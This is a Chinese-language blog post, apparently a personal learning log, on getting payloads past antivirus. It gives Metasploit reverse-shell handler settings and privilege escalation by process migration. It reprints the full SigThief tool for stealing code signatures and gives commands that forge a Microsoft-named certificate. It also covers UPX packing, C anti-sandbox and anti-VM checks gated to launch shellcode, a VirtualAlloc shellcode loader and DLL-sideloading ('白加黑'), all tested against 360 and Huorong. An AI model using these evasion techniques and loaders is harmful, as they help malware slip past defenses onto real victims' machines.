set LHOST 192.168.222.161 # 本机IP地址
set LPORT 4444 # 监听端口,必须和 shellcode 设置一致
run


#成功之后敲shell即可
chcp 65001#解决乱码
#如下图

image-20250419181002973

但是笔者试了一下退出后敲

1
getsystem

就会报杀了

image-20250419181356495

这里笔者问问了inf_师傅,他说可以试试进程迁移,这里笔者也是试了试。

1
2
3
4
ps  #寻找一个比较稳定的pid
getpid #看自己的id
migrate id #进行迁移
shell #

image-20250420170529684

这里笔者也是找了一个靠前面的,然后尝试了一下

image-20250420170916395

这里不知道真实的渗透是什么样的。

添加签名

添加数字签名

1
2
3
4
python3 sigthief.py -i 签名文件 -t 样本.exe -o 输出.exe
python3 sigthief.py -i ./HipsMain.exe -t miansha1.exe -o miansha_1.exe
python3 sigthief.py -i ./ -t miansha1.exe -o miansha_1.exe
#这里笔者也是准备试一试。

sigthief.py文章在这。文件我直接帖子下面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
>#!/usr/bin/env python3
># LICENSE: BSD-3
># Copyright: Josh Pitts @midnite_runr

>import sys
>import struct
>import shutil
>import io
>from optparse import OptionParser


>def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20

#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]

else:
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()
return flItms


>def copyCert(exe):
flItms = gather_file_info_win(exe)

if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Input file Not signed!")
sys.exit(-1)

with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert


>def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)

if not output:
output = output = str(exe) + "_signed"

shutil.copy2(exe, output)

print("Output file: {0}".format(output))

with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)

print("Signature appended. \nFIN.")


>def outputCert(exe, output):
cert = copyCert(exe)
if not output:
output = str(exe) + "_sig"

print("Output file: {0}".format(output))

open(output, 'wb').write(cert)

print("Signature ripped. \nFIN.")


>def check_sig(exe):
flItms = gather_file_info_win(exe)

if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
else:
print("Inputfile is signed!")


>def truncate(exe, output):
flItms = gather_file_info_win(exe)

if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
sys.exit(-1)
else:
print( "Inputfile is signed!")

if not output:
output = str(exe) + "_nosig"

print("Output file: {0}".format(output))

shutil.copy2(exe, output)

with open(output, "r+b") as binary:
print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

print("Signature removed. \nFIN.")


>def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)

cert = open(sigfile, 'rb').read()

if not output:
output = output = str(exe) + "_signed"

shutil.copy2(exe, output)

print("Output file: {0}".format(output))

with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")


>if __name__ == "__main__":
usage = 'usage: %prog [options]'
print("\n\n!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel\n\n")
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()

# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()

# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()

# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()

# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()

# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()

parser.print_help()
parser.error("You must do something!")

然后看一下,签名是无效的,只能模拟正常的程序。

image-20250420182753646

看一下火绒报杀不?

image-20250420190628649

反弹是反弹上了,但是还是把我的弹计算器给杀了,还是不太明白,这里笔者问了问cr4eper师傅他说让我区分一下公网ip和内网ip的区别,笔者以为连接的如果是同一个WiFi就可以互相访问到,结果是我的虚拟机的IP外界是访问不到的,要做个代理。

这里笔者有尝试了一下加360的数字签名。发现过了的!

自签名证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
makecert -r -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, 
L=Redmond, S=Washington, C=US" -ss CA -sr CurrentUser -a sha256 -cy authority -sky
signature -sv Microsoft.pvk Microsoft.cer

certutil -user -addstore Root Microsoft.cer

makecert -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation,
L=Redmond, S=Washington, C=US" -a sha256 -cy end -sky signature -ic Microsoft.cer -iv
Microsoft.pvk -sv Microsoft.pvk Microsoft.cer

pvk2pfx -pvk Microsoft.pvk -spc Microsoft.cer -pfx Microsoft.pfx

signtool sign /f Microsoft.pfx /t http://timestamp.digicert.com /fd SHA256 miasha.exe



# 1. 创建自签名证书(存入当前用户的“我的证书”存储)
$cert = New-SelfSignedCertificate `
-Subject "CN=My Code Signing Cert, O=My Company, L=City, S=State, C=US" `
-KeyExportPolicy Exportable `
-KeySpec Signature `
-KeyLength 2048 `
-KeyAlgorithm RSA `
-HashAlgorithm SHA256 `
-CertStoreLocation "Cert:\CurrentUser\My" `
-NotAfter (Get-Date).AddYears(5) `
-Type CodeSigningCert

# 2. 导出为 .pfx 文件(包含私钥)
$pfxPassword = ConvertTo-SecureString -String "123456" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\mycert.pfx" -Password $pfxPassword

# 3. 用 signtool 对 EXE 文件签名
# 确保 signtool 在环境变量中,否则需指定完整路径
Start-Process -Wait -NoNewWindow -FilePath "signtool.exe" -ArgumentList @(
"sign",
"/f", "C:\Temp\mycert.pfx",
"/p", "123456",
"/fd", "SHA256",
"/t", "http://timestamp.digicert.com",
"C:\Temp\your_app.exe"
)
#笔者没试

添加资源

工具Resource Hacker密码:64ag

打开我们的程序,然后

image-20250421185638706

image-20250421185703331

然后我们就可以看见了

image-20250421185730924

明显看见文件变大了,然后看一下360和火绒都没报杀,笔者这里还是比较异或的,因为笔者担心虚拟机里面的杀软被标记了,然后不报杀了,但是相对来说文件太大了。

加壳

这里笔者也是UPX直接尝试加壳

1
2
3
4
upx -9 miansha1.exe 
#在 UPX 中,压缩级别从 -1 到 -9,数字越大,压缩越强:
#-1:压缩速度最快,但压缩率较低。
#-9:压缩率最高,但会更慢,占用更多 CPU。

没啥说的。-d解压

反沙箱

云沙箱的背景

云沙箱是一种基于虚拟化技术的安全防护机制,主要用于对可疑文件、恶意代码进行分析和检测。

云沙箱的工作流程

  • 提交样本:用户将怀疑存在恶意的文件或代码提交给云沙箱系统。这些样本可能是通过电子邮 件、下载或其他途径获得的。
  • 环境隔离:云沙箱系统将待分析的样本运行在隔离的虚拟环境中。这个虚拟环境与真实的操作系 统和网络环境相似,但是与真实系统 完全隔离,以防止样本对真实系统的伤害。
  • 动态和行为分析:在虚拟环境中,云沙箱系统监控样本的行为和操作。它记录样本的文件操作、注 册表修改、网络连接等行为,并生成行为日志。
  • 恶意行为检测:云沙箱系统使用各种检测技术来分析样本的行为日志,以确定其中是否存在恶意 行为。这些技术包括基于特征的检测、行为模式分析、机器学习等。
  • 报告生成:云沙箱系统根据分析结果生成报告。报告中包含样本的基本信息、行为日志、恶意行 为检测结果等。这些报告可以帮助用户了解样本的威胁程度和行为特征。

云沙箱的优势

  • 强大的安全性
  • 高效的分析能力
  • 及时的威胁发现

为什么要反沙箱

大部分杀软本地都会有一个内置的沙箱/或者云上沙箱,当我们 想要运行一个exe时,都会在沙箱中模拟运行, 进行检测

反沙箱的方法

我们可以通过 语言检测 , 开机时间、延迟执行、物理内存、CPU核心数,文件名、磁盘大小、用户名、 进程名去判断是否是在沙箱的环境中, 如果是在沙箱的环境, 那就退出。

检测中文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nt check() {
LANGID langId = GetUserDefaultUILanguage();
if (PRIMARYLANGID(langId) == LANG_CHINESE)
{
printf("Chinese");
RunCode(); // 运行我们的代码
}
else
{
printf("Error");
exit(1);
}
return 0;
}

检测开机时间

1
2
3
4
5
6
7
8
9
int checkStartTime(){
ULONG uptime = GetTickCount();
if (uptime >= 10 * 60 * 1000) { // 开机时间大于10分钟
RunCode(); // 运行我们的代码
}
else {
exit(1);
}
}

检测虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int checkVm(char* name) {
const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe" };
for (int i = 0; i < 4; i++) {
if (strcmp(name, list[i]) == 0)
return -1;
}
return 0;
}
bool CheckProcess() {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) {
char ss_Name[MAX_PATH] = { 0 };
WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name),
NULL, NULL);
//printf("%s\n", ss_Name);
if (check(ss_Name) == -1)
return false;
bResult = Process32Next(hProcessSnap, &pe32);
}
return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <windows.h>
#include <iostream>
#include <intrin.h>
#include <Iphlpapi.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <Pdh.h>
#include <string>
#pragma comment(lib, "IPHLPAPI.lib")
#pragma comment(lib, "Psapi.lib")
#pragma comment(lib, "Pdh.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

// 是否出于调试器中
bool isDebuggerPresent() {
return IsDebuggerPresent() || CheckRemoteDebuggerPresent(GetCurrentProcess(), nullptr);
}
// 检测cpu是否支持虚拟化
bool checkCpuVirtualization() {
int cpuInfo[4];
__cpuid(cpuInfo, 1);
return (cpuInfo[2] & (1 << 31)) != 0;
}
// 检测语言是否是非中文
bool checkLan() {
LANGID langId = GetUserDefaultUILanguage();
if (PRIMARYLANGID(langId) == LANG_CHINESE)
{
return false;
}
else
{
return true;
}
}
// 检测进程数量是否小于60
bool checkProcessCount() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
if (hSnapshot == INVALID_HANDLE_VALUE) {
return false;
}
int processCount = 0;
if (Process32First(hSnapshot, &pe32)) {
do {
processCount++;
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return processCount < 60;
}
// 检cpu数量是否小于4
bool checkCpuCount() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
return systemInfo.dwNumberOfProcessors < 4;
}
bool checkStartTime() {
ULONG uptime = GetTickCount();
if (uptime >= 10 * 60 * 1000) { // 开机时间大于10分钟
return false;
}
else {
return true;
}
};
// 检测是否存在沙箱dll
bool checkSandboxDlls() {
// Check for known sandbox-related DLLs
return GetModuleHandle(L"Cuckoo") || GetModuleHandle(L"vmcheck") ||
GetModuleHandle(L"SandboxieDll") ||
GetModuleHandle(L"snxhk.dll") || GetModuleHandle(L"vmsrvc") ||
GetModuleHandle(L"cmdvrt32") ||
GetModuleHandle(L"SbieDll.dll") || GetModuleHandle(L"dbghelp.dll");
}
bool checkAdminUser() {

wchar_t userName[UNLEN + 1];
DWORD userNameSize = UNLEN + 1;
// 获取当前计算机用户名
if (GetUserName(userName, &userNameSize)) {
wprintf(L"Current User: %s\n", userName);
// 检查用户名是否为"admin"
if (wcscmp(userName, L"admin") == 0) {
return false; // 是"admin"
}
else {
return true; // 不是"admin"
}
}
else {
wprintf(L"Error getting user name. Error code: %d\n", GetLastError());
return false;
}
}
// 总的检测函数
bool checkEnvironment() {
return isDebuggerPresent() || checkCpuVirtualization() || checkStartTime() || checkLan() ||
checkProcessCount() || checkSandboxDlls() || checkCpuCount();
}
int main() {
if (checkEnvironment()) {
// 沙箱退出
//std::cout << "Detected sandbox environment. Exiting..." << std::endl;
return 1;
}
// 运行shellcode

}

参数启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8";
int main(int argc, char* argv[]) {
if (strcmp(argv[1], "dabaige") != 0) {
return 1;
}
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (addr == NULL) {
return 1;
}
// 把shellcode拷贝到这块内存
memcpy(addr, sc, sizeof(sc));
// 创建线程运行
HANDLE hThread = CreateThread(NULL,
NULL,
(LPTHREAD_START_ROUTINE)addr,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}

这里笔者大概看了一眼直接挑了

白加黑

指带有有效数字签名的exe文件

指的是我们恶意代码所在的文件,通常是dll文件

白程序一般我们只需要寻找,不需要手动编写,黑程序才是我们需要实际编写的

所以白加黑,我们重点就两个事情,一是找白程序,二是写黑dll文件

白加黑上线原理

白程序(exe) –> dll –> dllmain/导出函数中的代码

image-20250422153809929

问题是,如何寻找白名单exe、需要哪些会加载外部dll的白名单exe。

找到白名单exe之后,就是恶意dll的编写了。

DLL

简单来说就是动态连接库,是一种Windows操作系统中的共享文件,包含一系列可供程序公用的函数、数据和资源。DLL文件中存放的是各类程序的函数实现过程,这里可以区分一下Linux下的.so文件,当函数需要调用函数是需要先加载DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是不需要在运行前加载所有的代码,只有在程序需要某个函数的时候才从DLL中取出。dll文件和exe文件原因都是PE文件。

dl文件结构

image-20250422154924995

看一下文件结构,有framework.h、pch.h、dllmain.cpp、pch.cpp文件。

image-20250422155344708

framework.h文件

framework.h文件用于包含项目中需要使用的头文件,可以看到已经默认包含了Windows头文件:

1
2
3
4
5
6
#pragma once

#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

pch.h文件

pch.h是预编译标题文件,dll的导出函数一个在此处定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

dllmain.cpp文件

dllmain.cpp文件包含程序的入口点,在dllmain.cpp中现实的在pch.h中定义函数,当然也可以在其他cpp文件中实现,如pch.cpp等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


pch.cpp文件

一般存放我们的导出函数

1
2
3
4
5
// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

DLLMain

DLLMain是动态链接库的可选入口点,也就是常说的入口函数

当系统启动或者终止进程或线程时,他会使用进程的第一个线程为每个加载的dll调用入口点函数。当dll使用LoadLibrary(Ex)加载和使用FreeLibrary函数卸载dll时,系统还会调用该函数的入口点函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID
lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
case DLL_THREAD_ATTACH: // 当线程被创建时调用
case DLL_THREAD_DETACH: // 当线程结束时执行
case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
if (lpvReserved != nullptr)
{
break; // lpvReserved为非空时,表示进程被终止,不做任何清理
}
// 执行必要的清理
break;
}
return TRUE; // DLL_PROCESS_ATTACH成功
}

编译dll

导出函数

pch.cpp中编写一个导出函数

1
2
3
4
5
6
7
// pch.cpp: 与预编译标头对应的源文件
#include "pch.h"
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
int sum(int a, int b) {
return a + b;
}

需要在pch.h中定义该函数

1
2
3
4
5
6
#ifdef Dll1_EXPORTS
#define API_DECLSPECKM __declspec(dllexport)
#else
#define API_DECLSPECKM __declspec(dllimport)
#endif
extern "C" API_DECLSPECKM int sum(int a, int b);

解释一下,前面这段宏定义一个了宏Dll1_EXPORTS则定义API_DECLSPECKM为__declspec(dllexport)反之则为定义API_DECLSOECKM为 __declspec(dllimport)

注意,第一个宏Dll1_EXPORTS的名称就是dll的名称Dll1后面加上_EXPORTS。

定义导出的函数需要使用__declspec(dllexport)__declspec(dllimport)进行修饰,无论使用哪一个都可以编译成功,但是它们有一些细微的差别,其中__declspec(dllimport)__declspec(dllexport)通用性跟好。

所以默认一般时使用__declspec(dllimport)

点击生成

image-20250422164224690

查看dll导出函数

dumpbin是vs自带的一款工具,可以查看obj文件、lib库、dll库、exe可执行文件,使用方法如下

1
2
3
4
5
6
7
8
9
10
# 查看 dll 库中包含哪些函数
dumpbin /exports a.dll
# 查看 exe 中加载了哪些动态库
dumpbin /imports a.exe
# 查看 lib 库中包含哪些函数
dumpbin /all /rawdata:none a.lib
# 查看 obj 文件中包含哪些函数
dumpbin /all /rawdata:none d.obj
# 查看 dll 头信息
dumpbin /headers a.dll

简单的使用,记得找一下这个dumpbin.exe文件

1
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\bin\Hostx64\x64\dumpbin.exe 

image-20250422183237160

还可以直接使用工具来查看,这里笔者还是建议直接使用工具来查看。

image-20250422184322359

raw和bin的区别

image-20250401175315588

kali开启SSH

1
2
sudo systemctl enable ssh
sudo systemctl start ssh

公网IP是什么?

什么是公网IP?

公网IP就是可以直接到达的IP地址,这个时候可以通过公网ip去对他人进行访问,于此同时,他人也能反过来访问用户。公网ip主要分为五个类别,除了一个暂时保留的类别以外,包括了大型的公网ip、正规机构的公网ip、普通小公司或者学校的公网ip,以及一些特殊领域的公网ip。不同的公网ip的类别的网段是不同的,而通过分类,也能够对ip更好的进行划分。

公网ip和内网IP的区别?

  • 公网ip和内网ip的IP地址网段不同。观察公网IP的IP地址金和内网IP的地址就能够发现,二者之间的网段是有一定的区别的,这也是用来区分二者的主要特征。且公网的IP的网段相较于内网的IP网段,会更加广泛。
  • 公网ip可直接连接。公网IP不需要连接路由器或者宽带。服务器会为大家直接分配IP地址,所以在信号分布的地方可以直接使用。而内网ip需要通过路由等等分配ip地址,否则是无法使用的。

image-20250421162535496

工具分享

[分享][原创]发布一个自己写的小工具,方便转换字符与bin以及执行shellcode-编程技术-看雪-安全社区|安全招聘|kanxue.com

感谢作者分享~